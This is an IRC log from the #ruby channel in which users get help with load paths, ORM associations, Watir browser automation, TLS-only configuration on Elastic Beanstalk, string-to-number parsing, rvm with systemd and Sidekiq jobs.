<robert_reilly>
Hi All, show all the paths ruby is looking at when loading a gem ? is not $: ?
mooser has quit [Ping timeout: 258 seconds]
jenrzzz has joined #ruby
snockerton has quit [Quit: Leaving.]
dn`_ has joined #ruby
dn` has quit [Read error: Connection reset by peer]
dn`_ is now known as dn`
Fysicus has joined #ruby
bruce_lee has quit [Read error: Connection reset by peer]
tz_ has joined #ruby
mooser has joined #ruby
bruce_lee has joined #ruby
nerglish has quit [Quit: nerglish]
naprimer_3 has quit [Read error: Connection reset by peer]
petruff has quit [Ping timeout: 260 seconds]
mogaj has joined #ruby
tz_ has quit []
naprimer has joined #ruby
mogaj has quit [Ping timeout: 240 seconds]
nadir has joined #ruby
nerglish has joined #ruby
<Radar>
robert_reilly: $: or $LOAD_PATH
jcao219 has quit [Ping timeout: 240 seconds]
username1 has quit [Ping timeout: 258 seconds]
nerglish has quit [Client Quit]
<robert_reilly>
Radar: that is what i thought wrote a gem driver for test-kitchen and ruby cannot find it trying to figure out why it finds other gems in the dir
bkxd has joined #ruby
olivi____ has joined #ruby
mooser has quit [Remote host closed the connection]
__Yiota has joined #ruby
mooser has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
bkxd has quit [Ping timeout: 252 seconds]
ChaiTRex has joined #ruby
mooser has quit [Remote host closed the connection]
olivi____ has quit [Ping timeout: 255 seconds]
mooser has joined #ruby
ChaiTRex has left #ruby [#ruby]
<ineb>
orm question. think of a database relation like car->engine->gear . i often find myself in a need to do get the corresponding car of a gear.. so i write a method that allows me to do gear.car or sometimes car.gears . is sequel, activerecord or some other ORM able to auto generate these methods?
<ineb>
in this case, sequel and activerecord does provide car.engine engine.gears and so on, but how about relations across multiple tables?
<havenwood>
ineb: Yeah, that's the kind of think Sequel or ActiveRecord model.
<ytti>
quite
SeepingN has quit [Quit: The system is going down for reboot NOW!]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
circ-user-nul3O has joined #ruby
<ytti>
would be literally something like
Tempesta has quit [Quit: AdiIRC is updating to v2.8 Beta Build (2017/04/19) 64 Bit]
Tempesta has joined #ruby
<ytti>
class Car < Sequel::Model; one_to_one :gear; end
<ytti>
now car instances would have gear method, which would return correct row from gear table
<elomatreb>
I think they want the inverse of has_many_through, which I don't think is available just like that
<ytti>
i assumed gear is gearbox
<ytti>
like 7DCT
<ytti>
so each car would have exactly one gearbox
<ytti>
but i may have misunderstood
petruff has joined #ruby
circ-user-nul3O is now known as Deetss
<ineb>
it was just an example. it does not really matter. my current relations look like Car one_to_one Engine; Engine one_to_many Gears
<ineb>
i was wondering if there is a mechanism or technique that is able to deduce the Car one_to_many Gears relation
marr has quit [Ping timeout: 260 seconds]
<ineb>
because Car has an Engine with many Gears
<ineb>
so Car has many Gears
skweek has quit [Ping timeout: 240 seconds]
<ineb>
and therefore Car.gears -> [Gear, Gear, Gear]
<ineb>
is my thought approach wrong? it should be easily doable because in this case, Car.gears is just calling Engine.gears
<ineb>
so i was wondering if there is a mechanism which already solves this problem
<elomatreb>
That direction is has_many_through in ActiveRecord iirc, but it doesn't do the inverse (Gear.car)
<ineb>
i see
<ineb>
any reason why it is not the other way around?
Cohedri__ has quit [Read error: Connection reset by peer]
Cohedrin has joined #ruby
patr0clus has quit [Quit: WeeChat 1.4]
tercenya has quit []
<havenwood>
ineb: you can do gear.gearbox.car by way of the belongs_tos
<havenwood>
ineb: the ones with the belongs_to have the ids of the thing they're pointing to, and a helper method to access them
<developBIR>
If you guys could help that would be great ¯\_(ツ)_/¯
<developBIR>
if not its okay, i know you have other things to do
__Yiota has joined #ruby
oliv_____ has joined #ruby
ramfjord has quit [Ping timeout: 252 seconds]
charliesome has joined #ruby
oliv_____ has quit [Ping timeout: 255 seconds]
<ineb>
we all have our segfaults :>
paradisaeidae has joined #ruby
paradisaeidae_ has joined #ruby
<ineb>
developBIR: i dont know your use case and i dont know instagram. by 'new window' you mean browser window? you can toggle focus to the new window by browser.window(title: 'title_of_window')
jhack has quit [Quit: Leaving]
<ineb>
and another idea: Instagram has an API.. cant you do it with it?
spicerack has joined #ruby
jdawgaz has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
mooser has quit [Remote host closed the connection]
spicerack has quit [Client Quit]
mooser has joined #ruby
<developBIR>
ineb, i figured out that that is a popup and not another window
<ineb>
developBIR: watir supports this aswell
xenops has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
xenops has joined #ruby
xenops has quit [Client Quit]
<developBIR>
I tried using browser.div(:class => "XCLASS")::Scroll
<developBIR>
but it is saying it doesnt exist
mim1k has joined #ruby
<ineb>
you need to change to the popup window first
xenops has joined #ruby
xenops has quit [Client Quit]
<ineb>
browser.windows should give you all available windows
<ineb>
then switch context and do whatever you want in the new window
xenops has joined #ruby
<ineb>
if that is what you want :D
xenops has quit [Client Quit]
<developBIR>
but the problem is, its not a window its a div:/
xenops has joined #ruby
xenops has quit [Client Quit]
<ineb>
then i dont get the problem
xenops has joined #ruby
xenops has quit [Client Quit]
PaulCape_ has quit [Ping timeout: 258 seconds]
mogaj has quit [Remote host closed the connection]
xenops has joined #ruby
<developBIR>
just a moment please
duderono_ has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<developBIR>
am i just putting in the class or is it 3 different elements?
<ineb>
the class if your div. "XCLASS" or what is it
<ineb>
*of
Cohedrin has joined #ruby
shakes has quit [Quit: Leaving]
<developBIR>
ineb, IT FUCKING WORKS
<developBIR>
DUDE
<developBIR>
I AM SO HAPPY
<developBIR>
YES
<developBIR>
YES
<developBIR>
YES
<ineb>
Now push it to production
<developBIR>
ineb, there is still a lot of work that needs to be done to it
bronson has quit [Remote host closed the connection]
<adam12>
lol
mogaj has joined #ruby
mogaj has quit [Ping timeout: 240 seconds]
loy_aqua has joined #ruby
oliv_____ has joined #ruby
jdawgaz has joined #ruby
gnufied has quit [Quit: Leaving]
<developBIR>
figured out how to iterate it so it loads a ton of them:)
<developBIR>
im so fucking happy guys
libastral has quit [Ping timeout: 258 seconds]
negatifze has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Guest68448 has quit [Ping timeout: 252 seconds]
libastral has joined #ruby
sucks has joined #ruby
mogaj has joined #ruby
oliv_____ has quit [Remote host closed the connection]
pifon has quit [Quit: Connection closed for inactivity]
catbusters has quit [Quit: Connection closed for inactivity]
enterprisey has quit [Read error: Connection reset by peer]
skweek has quit [Ping timeout: 240 seconds]
t-recx has quit [Quit: t-recx]
genpaku has quit [Remote host closed the connection]
mogaj has quit [Remote host closed the connection]
enterprisey has joined #ruby
gusrub has joined #ruby
mogaj has joined #ruby
genpaku has joined #ruby
enterprisey has quit [Remote host closed the connection]
duderonomy has joined #ruby
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
HoierM has quit [Ping timeout: 260 seconds]
GodFather has quit [Ping timeout: 240 seconds]
pilne has quit [Quit: Quitting!]
jameser has joined #ruby
jdawgaz has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
orbital-smith has joined #ruby
<orbital-smith>
hello everyone
<orbital-smith>
does anyone here have experience with amazon beanstalk SSL/TLS configuration, i have a few questions, but in short, im looking to disable SSL and retain TLS
__Yiota has joined #ruby
bruce_lee has quit [Ping timeout: 240 seconds]
bruce_lee has joined #ruby
bruce_lee has joined #ruby
bruce_lee has quit [Changing host]
hndk has joined #ruby
<ineb>
orbital-smith: i dont know beanstalk but i think you are deploying some sort of webserver configuration there, right? like httpd or so. those websers support a SSLProtocol directive in their configuration and you can say something like SSLProtocol -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 +TLSv1.2
<orbital-smith>
ineb: thanks for the response, im not deploying, rather im just trying to disable SSL on a existing application
<ineb>
web application?
<orbital-smith>
ineb: yup
<ineb>
then its the job of the webserver job to handle ssl/tsl
<orbital-smith>
ineb: the application has been configured as a single instance (no load balancer) and its certificates have been configured (loaded into) a .ebextensions document
Fysicus has quit [Ping timeout: 260 seconds]
<orbital-smith>
ineb: yes, that sounds about right, i don't know what web server its running on
<ineb>
neither do it :/
<ineb>
*i
<orbital-smith>
ineb: its ruby, but i expect its whatever the default environment is for ruby
Vile` has joined #ruby
<orbital-smith>
ineb: the problem im facing is 1) unfamiliarity with Ruby 2) no insight into the server(s) its running up there
mooser has quit [Ping timeout: 260 seconds]
<orbital-smith>
ineb: i expect its reasonable to assume i could disable the SSL by way of post deployment shell commands (defined within ebextensions)
<ineb>
not without restarting the webserver component
<orbital-smith>
ineb: restarting is fine
<ineb>
but i dont know beanstalk
<ineb>
if its some container bases throwaway deployment or so
<orbital-smith>
ineb: but you know ruby tho?
<ineb>
yes
DaniG2k has joined #ruby
<orbital-smith>
ineb: well, just about to read up on beanstalks ruby offerings
Cyrus has joined #ruby
<orbital-smith>
ineb: thanks, mind if i ping you a bit later on if i have some questions?
<ineb>
is it like a running server? can you ssh into it? then look what processes are running
<ineb>
or no access at all? then again, ssl/tls is not handled by the web application itself. only by the web server. which can be implemented in ruby.
<orbital-smith>
ineb: it says its running a 64bit Amazon Linux instance, v2.0.0 running Ruby 2.1 and (Passenger Standalone) if that means anything
cisco has joined #ruby
<orbital-smith>
does Passenger Standalone ring any bells?
<orbital-smith>
ineb: Passenger appears to be the web application server
<ineb>
if you are using nginx then you want to set the option "ssl_protocols TLSv1.2 TLSv1.1 TLSv1;" to allow tls only
<ineb>
but i dont know where and how you have to do this in your beanstalk setup
mogaj has quit [Remote host closed the connection]
lele has quit [Ping timeout: 260 seconds]
raul782 has quit [Remote host closed the connection]
raul782 has joined #ruby
mogaj has joined #ruby
lele has joined #ruby
<developBIR>
Am I allowed to do ARRAY.UNIQ.PUSH(X)
<elomatreb>
You're allowed to, but it probably won't do what you expect
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
mogaj has quit [Remote host closed the connection]
cisco has quit [Quit: Leaving.]
<developBIR>
youre right it doesnt seem to be doing it that way
sucks_ has joined #ruby
gusrub has quit [Remote host closed the connection]
<developBIR>
So I am adding a bunch of divs to an array, and then after im done adding them it scrolls more for me. HOWEVER, it starts from the stop of the list. What would be the best way to set a starting point for adding more as it runs?
gusrub has joined #ruby
sucks has quit [Ping timeout: 252 seconds]
olivi____ has joined #ruby
sucks_ has quit [Read error: Connection reset by peer]
paradisaeidae_ has quit [Ping timeout: 260 seconds]
paradisaeidae has quit [Ping timeout: 260 seconds]
olivi____ has quit [Ping timeout: 260 seconds]
paradisaeidae has joined #ruby
paradisaeidae_ has joined #ruby
petruff has quit [Ping timeout: 260 seconds]
Trynemjoel has quit [Ping timeout: 245 seconds]
Trynemjoel has joined #ruby
mim1k has joined #ruby
phoo1234567 has quit [Quit: Gotta go]
govg has joined #ruby
mim1k has quit [Ping timeout: 252 seconds]
raul782 has quit [Remote host closed the connection]
minimalism has quit [Quit: minimalism]
pifon has joined #ruby
jusa has joined #ruby
gusrub has quit [Remote host closed the connection]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
negatifze has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
negatifze has joined #ruby
jgnagy has quit [Remote host closed the connection]
negatifze has quit [Client Quit]
jgnagy has joined #ruby
mogaj has joined #ruby
jenrzzz has joined #ruby
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
loy_aqua has quit [Quit: loy_aqua]
loy_aqua has joined #ruby
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
hndk has quit [Quit: Leaving]
cfec0b8d has joined #ruby
astrobunny has joined #ruby
PaulCapestany has joined #ruby
domgetter has joined #ruby
mim1k has joined #ruby
bronson has quit [Ping timeout: 260 seconds]
sdwrage has joined #ruby
mim1k has quit [Ping timeout: 252 seconds]
AndBobsYourUncle has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
renchan has joined #ruby
charliesome has joined #ruby
rakm has joined #ruby
Guest96_ has quit [Remote host closed the connection]
Guest96 has joined #ruby
raul782 has joined #ruby
mooser has joined #ruby
Channel6 has quit [Quit: Leaving]
latemus has quit [Quit: Lost terminal]
bronson has joined #ruby
olivi____ has joined #ruby
bronson has quit [Ping timeout: 240 seconds]
catbusters has joined #ruby
ol_______ has joined #ruby
olivi____ has quit [Read error: Connection reset by peer]
raul782 has quit [Remote host closed the connection]
raul782 has joined #ruby
djbkd has joined #ruby
anisha has joined #ruby
jcao219 has joined #ruby
raul782 has quit [Ping timeout: 268 seconds]
astrobunny has quit [Remote host closed the connection]
jusa has joined #ruby
ol_______ has quit [Ping timeout: 252 seconds]
astrobunny has joined #ruby
jeyraof^mbpr has joined #ruby
anisha has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
anisha has joined #ruby
astrobunny has quit [Remote host closed the connection]
astrobunny has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
jenrzzz has quit [Ping timeout: 260 seconds]
ar1a has joined #ruby
<ar1a>
Hi! Is it possible to parse strings into numbers, but with shorthand? say "10.5k" => 10500.
anisha_ has joined #ruby
olivi____ has joined #ruby
anisha has quit [Ping timeout: 240 seconds]
bruce_lee has quit [Remote host closed the connection]
nofxxxx has joined #ruby
joekarma has joined #ruby
mooser has quit [Remote host closed the connection]
<ar1a>
[1:11 PM] Damian Guppy: difference between getting enough tables for 720 and enough for 864 is $1500, which is 30 tickets, good chance we would have them sell on saturday at least
raul782 has quit [Remote host closed the connection]
Cohedrin has quit [Read error: Connection reset by peer]
oliv_____ has quit [Ping timeout: 240 seconds]
olivi____ has joined #ruby
Cohedrin has joined #ruby
Vile` has quit [Ping timeout: 240 seconds]
paradisaeidae has left #ruby [#ruby]
paradisaeidae_ has quit [Quit: ChatZilla 0.9.93 [Firefox 52.0.2/20170323105023]]
joekarma has quit [Remote host closed the connection]
jameser has quit [Ping timeout: 255 seconds]
jameser has joined #ruby
olivi____ has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
MrBusiness3 has joined #ruby
<havenwood>
>> def parse_to_f s; numeric, unit = s.partition /[[:alpha:]]/; numeric.to_f * case unit; when ''; 1; when 'k'; 1_000; when 'm'; 1_000_000 end end; [parse_to_f('42'), parse_to_f('10.5k'), parse_to_f('100m')]
<ruby[bot]>
havenwood: I'm terribly sorry, I could not evaluate your code because of an error: OpenURI::HTTPError:500 Internal Server Error
<havenwood>
#=> [42.0, 10500.0, 100000000.0]
rfoust has quit [Ping timeout: 258 seconds]
MrBismuth has quit [Ping timeout: 240 seconds]
olivi____ has quit [Ping timeout: 260 seconds]
oliv_____ has joined #ruby
bronson has joined #ruby
Cohedri__ has joined #ruby
Cohedrin has quit [Ping timeout: 260 seconds]
pickle_ has joined #ruby
oliv_____ has quit [Ping timeout: 260 seconds]
oli______ has joined #ruby
mwlang has quit [Quit: mwlang]
chouhoulis has quit [Ping timeout: 260 seconds]
chouhoul_ has joined #ruby
xall has joined #ruby
oli______ has quit [Ping timeout: 260 seconds]
stoffus has quit [Quit: leaving]
rakm has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
stoffus has joined #ruby
pickle_ is now known as lemon_sniper
vali has joined #ruby
djbkd has quit [Remote host closed the connection]
djbkd has joined #ruby
djbkd has quit [Remote host closed the connection]
bsartek has joined #ruby
Cohedri__ has quit [Read error: Connection reset by peer]
dn` has quit [Quit: dn`]
dn` has joined #ruby
Cohedrin has joined #ruby
Burgestrand has joined #ruby
mooser has joined #ruby
mooser has quit [Ping timeout: 240 seconds]
Burgestrand has quit [Quit: Closing time!]
DoubleMalt has joined #ruby
DoubleMalt has quit [Client Quit]
nowhere_man has quit [Ping timeout: 252 seconds]
rhyselsmore has quit [Ping timeout: 240 seconds]
Mission-Critical has quit [Ping timeout: 255 seconds]
vali has quit [Remote host closed the connection]
jeyraof^mbpr has quit [Quit: This computer has gone to sleep]
vali has joined #ruby
Cohedrin has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jeyraof^mbpr has joined #ruby
govg has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
xenops has joined #ruby
mooser has joined #ruby
djbkd has joined #ruby
mooser has quit [Remote host closed the connection]
mogaj has quit [Remote host closed the connection]
jamesaxl has joined #ruby
xenops has quit [Ping timeout: 240 seconds]
olivi____ has quit [Ping timeout: 260 seconds]
MissionCritical has joined #ruby
antgel has joined #ruby
aufi has joined #ruby
bigkevmcd has joined #ruby
mooser has joined #ruby
mzo has quit [Ping timeout: 240 seconds]
mooser has quit [Ping timeout: 240 seconds]
mooser has joined #ruby
Burgestrand has joined #ruby
mogaj has joined #ruby
olivi____ has joined #ruby
mzo has joined #ruby
Qchmqs__ has joined #ruby
Cohedrin has joined #ruby
tomphp has joined #ruby
mark_66 has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
olivi____ has joined #ruby
tomphp has quit [Ping timeout: 260 seconds]
robert_reilly has quit [Quit: Head hit keyboard ZZZzzzZZZzzzz]
Hail_Spacecake has joined #ruby
Qchmqs__ is now known as Qchmqs
<Hail_Spacecake>
hello, I have a question trying to integrate ruby running under rvm and systemd
vali has left #ruby [#ruby]
<Hail_Spacecake>
I have a script with a Gemfile and rvm installed that I run with the (rvm-provided) $ ruby script.rb
<Hail_Spacecake>
in some directory
esObe_ has joined #ruby
<Hail_Spacecake>
and I want to turn this into a systemd service file
<Hail_Spacecake>
but I don't know how to tell ExecStart
<Hail_Spacecake>
to use the ruby binary that rvm would provide
<Hail_Spacecake>
and my system ruby isn't the right version and doesn't have the right gems
<foxmask>
bonjello
Guest96 has quit [Remote host closed the connection]
mooser has quit [Remote host closed the connection]
<Hail_Spacecake>
I got the code from a github repo that had the .rb file itslef and a Gemfile that had a couple of gems and a ruby version line that's not my system version
<Hail_Spacecake>
what is the standard way for people to install and run such programs?
<havenwood>
Hail_Spacecake: You run `rvm wrapper ...` command and then use the wrapper you created with the full path to run Ruby with the correct env loaded.
mooser has quit []
<havenwood>
Hail_Spacecake: Take a look at the content of the wrapper file that is generated, it should be enlightening.
<canton7>
you can do something like [Class1, Class2, ClassN].each{ |c| c.new.methodA }
<canton7>
you can get all classes in a module if you want (and filter them using .respond_to?(:methodA)), but it's not something I'd recommend in general. Being explicit is usually better
ta_ has quit [Ping timeout: 240 seconds]
<arquebus>
Has anyone ever made a purpose built editor for Ruby like all the editors that are made for Python like Eric, SPE, Boa Constructor, DrPython?
<ljarvis>
arquebus: rubymine perhaps?
jaruga has quit [Ping timeout: 260 seconds]
zapata has quit [Ping timeout: 240 seconds]
xall has quit [Ping timeout: 240 seconds]
<arquebus>
ljarvis: yes, I guess thats the only one, I would think they could design more UI elements to handle dependecny managers and build tools than what RubyMine has
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
catbusters has joined #ruby
<ljarvis>
sure
lel has joined #ruby
ta_ has joined #ruby
govg has quit [Ping timeout: 255 seconds]
mim1k has quit [Read error: Connection reset by peer]
Qchmqs has quit [Ping timeout: 260 seconds]
<darix>
moin ljarvis
jameser has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mim1k has joined #ruby
zapata has joined #ruby
olivi____ has joined #ruby
olivi____ has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
xall has joined #ruby
antgel has joined #ruby
mim1k has quit [Ping timeout: 258 seconds]
rgr has quit [Ping timeout: 260 seconds]
<ljarvis>
howdy
rgr has joined #ruby
jonjits[m] has quit [Ping timeout: 240 seconds]
vuoto has joined #ruby
mim1k has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
petruff has joined #ruby
rgtk has quit [Ping timeout: 240 seconds]
Karunamon has quit [Quit: Later!]
nowhere_man has joined #ruby
aglorei has quit [Ping timeout: 248 seconds]
sonne has quit [Ping timeout: 260 seconds]
Karunamon has joined #ruby
arquebus has quit [Quit: konversation disconnects]
zeroDivisible has quit [Ping timeout: 260 seconds]
nadir has joined #ruby
bw\_ has quit [Ping timeout: 260 seconds]
bw\ has joined #ruby
aglorei has joined #ruby
jonjits[m] has joined #ruby
zeroDivisible has joined #ruby
sonne has joined #ruby
millerti has joined #ruby
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
Siyfion has joined #ruby
dasher^0_o has joined #ruby
quirkycoders has joined #ruby
toretore has joined #ruby
vuoto has quit [Quit: Lost terminal]
jenrzzz has quit [Ping timeout: 260 seconds]
sepp2k has quit [Ping timeout: 260 seconds]
ddffg has quit [Ping timeout: 240 seconds]
oliv_____ has joined #ruby
loy_aqua has joined #ruby
tvw has quit [Read error: Connection reset by peer]
bkxd has joined #ruby
petruff has quit [Quit: WeeChat 1.7]
ldnunes has joined #ruby
watersoul has quit [Ping timeout: 240 seconds]
mim1k has quit [Ping timeout: 268 seconds]
petruff has joined #ruby
oliv_____ has quit [Ping timeout: 268 seconds]
bsartek has joined #ruby
ddffg has joined #ruby
sepp2k has joined #ruby
bkxd has quit [Ping timeout: 260 seconds]
CloCkWeRX has joined #ruby
olivi____ has joined #ruby
watersoul has joined #ruby
jdawgaz has joined #ruby
watersoul has quit [Read error: Connection reset by peer]
gnufied has joined #ruby
z64 has joined #ruby
watersoul has joined #ruby
watersoul has quit [Max SendQ exceeded]
jdawgaz has quit [Ping timeout: 240 seconds]
mim1k has joined #ruby
bsartek has quit [Quit: This computer has gone to sleep]
olivi____ has quit [Remote host closed the connection]
olivi____ has joined #ruby
watersoul has joined #ruby
watersoul has quit [Max SendQ exceeded]
mogaj has quit [Remote host closed the connection]
loy_aqua has quit [Quit: loy_aqua]
mogaj has joined #ruby
xco has joined #ruby
xco has quit [Client Quit]
Silthias has joined #ruby
watersoul has joined #ruby
watersoul has quit [Max SendQ exceeded]
Silthias1 has joined #ruby
hinbody has joined #ruby
Silthias has quit [Ping timeout: 260 seconds]
watersoul has joined #ruby
xall has quit [Ping timeout: 240 seconds]
quirkycoders has quit []
watersoul has quit [Read error: Connection reset by peer]
quirkycoders has joined #ruby
jusa has quit [Ping timeout: 240 seconds]
<quirkycoders>
So yesterday I restored my database and run my migration which worked initially. I have a couple migrations that create a boolean column and then set the value to 'false'...however now when does not set the values and I get a 'nil' when I check the values after the migration. Any ideas?
watersoul has joined #ruby
mogaj has quit [Remote host closed the connection]
jeffreylevesque has quit [Ping timeout: 240 seconds]
nowhere_man has quit [Remote host closed the connection]
nowhere_man has joined #ruby
ol_______ has joined #ruby
<herwin>
isn't that specific to rails?
olivi____ has quit [Ping timeout: 260 seconds]
d10n-work has joined #ruby
Mia has quit [Ping timeout: 240 seconds]
jenrzzz has joined #ruby
Mia has joined #ruby
Mia has joined #ruby
Mia has quit [Changing host]
Silthias has joined #ruby
Vile` has joined #ruby
mogaj has joined #ruby
<quirkycoders>
yep...sorry thought I was in the rails channel
Silthias1 has quit [Ping timeout: 260 seconds]
jenrzzz has quit [Ping timeout: 252 seconds]
ben______ has quit [Remote host closed the connection]
ben__ has joined #ruby
jeffreylevesque has joined #ruby
jaruga has joined #ruby
jaruga has quit [Remote host closed the connection]
jaruga has joined #ruby
ledestin has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mogaj has quit [Remote host closed the connection]
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
ben__ has quit [Ping timeout: 255 seconds]
robert_reilly has joined #ruby
bsartek has joined #ruby
mogaj has joined #ruby
ishe has joined #ruby
negatifze has joined #ruby
hutch34 has joined #ruby
<ishe>
I cant perform job from another job (sidekiq):
<ishe>
class HelpJob < ApplicationJob
<ishe>
<ishe>
def perform
<ishe>
ReplyJob.perform_later # not work, why??
<ishe>
end
<mikecmpbll>
ishe : !gist
<ishe>
end
<ishe>
<mikecmpbll>
oops.
<mikecmpbll>
ishe : what happens?
<ishe>
one moment
laura__ has joined #ruby
NL3limin4t0r has joined #ruby
<ishe>
any changes, not work (
<ishe>
my queue after ReplyJob.perform_later! is empty
* mikecmpbll
shrugs
GodFather has quit [Ping timeout: 268 seconds]
lhambley has joined #ruby
petruff has quit [Ping timeout: 240 seconds]
mogaj has quit [Remote host closed the connection]
<laura__>
hello
ben__ has joined #ruby
mogaj has joined #ruby
petruff has joined #ruby
<laura__>
!hello
jameser has joined #ruby
<laura__>
!hello
laura__ has quit [Quit: Page closed]
synthroid has joined #ruby
ben__ has quit [Ping timeout: 260 seconds]
ben__ has joined #ruby
rfoust has joined #ruby
Vile` has quit [Ping timeout: 240 seconds]
millerti has joined #ruby
jameser has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
ojab has joined #ruby
jphase has joined #ruby
ta_ has quit [Ping timeout: 260 seconds]
cdg has joined #ruby
sepp2k has quit [Ping timeout: 260 seconds]
sepp2k has joined #ruby
xall has joined #ruby
patr0clus has joined #ruby
ta_ has joined #ruby
GodFather has joined #ruby
xall has quit [Ping timeout: 260 seconds]
ta_ has quit [Ping timeout: 260 seconds]
ol_______ has quit [Read error: Connection reset by peer]
Pumukel has joined #ruby
olivi____ has joined #ruby
GorillaApe is now known as Terens
agent_white has quit [Quit: leaving]
DLSteve has joined #ruby
agent_white has joined #ruby
jrafanie has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
<agent_white>
Mornin' folks
olivi____ has joined #ruby
Nimzowitsch has joined #ruby
<Nimzowitsch>
hey all
<Nimzowitsch>
what's the most elegant way of achieving the following: remove first n elements of an array and add them to a separate array
jameser has joined #ruby
<Nimzowitsch>
something like arr.push(oldArray.removeElements(fromIndex, toIndex))
patarr has joined #ruby
xall has joined #ruby
<go|dfish>
Nimzowitsch: x += y.shift(n)
<go|dfish>
well, i guess x.concat
xall has quit [Ping timeout: 255 seconds]
loechel has joined #ruby
loechel has quit [Remote host closed the connection]
asdasd has joined #ruby
asdasd has quit [Client Quit]
Pumukel has quit [Ping timeout: 255 seconds]
davic has joined #ruby
chouhoul_ has quit [Remote host closed the connection]
Derperperd has quit [Quit: Together, we will make America strong again. We will make America wealthy again. We will make America proud again. We will make America safe again. And, yes, together, we will make America great again. Thank you, God bless you, and God bless America.]
millerti has joined #ruby
username1 has joined #ruby
Derperperd has joined #ruby
flying has quit [Read error: Connection reset by peer]
Guest29517 has quit [Changing host]
Guest29517 has joined #ruby
Guest29517 is now known as Tohuw
flying has joined #ruby
GodFather_ has quit [Ping timeout: 268 seconds]
gizmore has joined #ruby
synthroid has joined #ruby
anisha__ has quit [Quit: Leaving]
oliv_____ has joined #ruby
hobodave has joined #ruby
jrafanie has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
brent__ has joined #ruby
antoniobeyah has joined #ruby
amclain has joined #ruby
oliv_____ has quit [Ping timeout: 255 seconds]
jrafanie has joined #ruby
mzo has joined #ruby
HoierM has joined #ruby
tomphp has joined #ruby
tomphp has quit [Client Quit]
pandaant has quit [Remote host closed the connection]
shintaro has joined #ruby
jrafanie has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
patr0clus has quit [Quit: WeeChat 1.4]
shintaro has quit [Client Quit]
flying has quit []
ramfjord has joined #ruby
shintaro has joined #ruby
tomphp has joined #ruby
olivi____ has joined #ruby
shintaro has quit [Client Quit]
arquebus has joined #ruby
rgtk has joined #ruby
Burgestrand has quit [Quit: Closing time!]
gusrub has joined #ruby
__main__ has quit [Read error: Connection reset by peer]
xall_ has quit [Ping timeout: 255 seconds]
jcao219 has joined #ruby
username1 has quit [Quit: Lost terminal]
__main__ has joined #ruby
mikecmpbll has quit [Ping timeout: 255 seconds]
cfec0b8d has joined #ruby
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
alazred has quit [Ping timeout: 258 seconds]
tomphp has joined #ruby
mim1k has quit [Ping timeout: 240 seconds]
tomphp has quit [Client Quit]
outreachdan has joined #ruby
tomphp has joined #ruby
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
rakm has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
Vingador has joined #ruby
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jenrzzz has quit [Ping timeout: 260 seconds]
cfec0b8d has quit [Quit: Leaving.]
chichou has quit [Quit: WeeChat 1.7]
lxsameer has quit [Quit: WeeChat 1.5]
gregf_ has quit [Quit: Page closed]
mikecmpbll has joined #ruby
jameser has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
olivi____ has quit [Remote host closed the connection]
ishe has quit [Read error: No route to host]
JoshS has quit [Ping timeout: 255 seconds]
gusrub has quit [Remote host closed the connection]
olivi____ has joined #ruby
gusrub has joined #ruby
railswebdev has joined #ruby
jrafanie has joined #ruby
synthroi_ has joined #ruby
ar1a has joined #ruby
<ar1a>
heya! im trying to access a hashmap like `puts d["name"]` but its throwing me an error, saying it cant implicitly convert a string to an integer
<dminuoso>
Doesn't that sound like an array to you already?
<dminuoso>
See?
<dminuoso>
It's an array.
<ar1a>
so d[1]["name"]?
<dminuoso>
ar1a: For example, yes.
xenops has quit [Read error: Connection reset by peer]
xenops has joined #ruby
nicesignal has quit [Remote host closed the connection]
<ar1a>
alright, thanks dminuoso
<ar1a>
i didnt know about "p"
nicesignal has joined #ruby
tripolisenten has quit [Remote host closed the connection]
AndBobsYourUncle has joined #ruby
jamesaxl has quit [Read error: Connection reset by peer]
shinnya has quit [Ping timeout: 255 seconds]
jamesaxl has joined #ruby
Beams has quit [Quit: .]
arquebus has quit [Quit: Konversation disconnected]
Beams has joined #ruby
bonhoeffer has quit [Ping timeout: 240 seconds]
duderonomy has quit [Ping timeout: 258 seconds]
sid_fules has joined #ruby
unshadow has joined #ruby
mogaj has quit [Remote host closed the connection]
bigkevmcd has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Cohedrin has joined #ruby
sid_fules has quit [Remote host closed the connection]
alan_w_ has joined #ruby
GGMethos has quit [Quit: WeeChat 1.4]
sid_fules has joined #ruby
alan_w_ has left #ruby [#ruby]
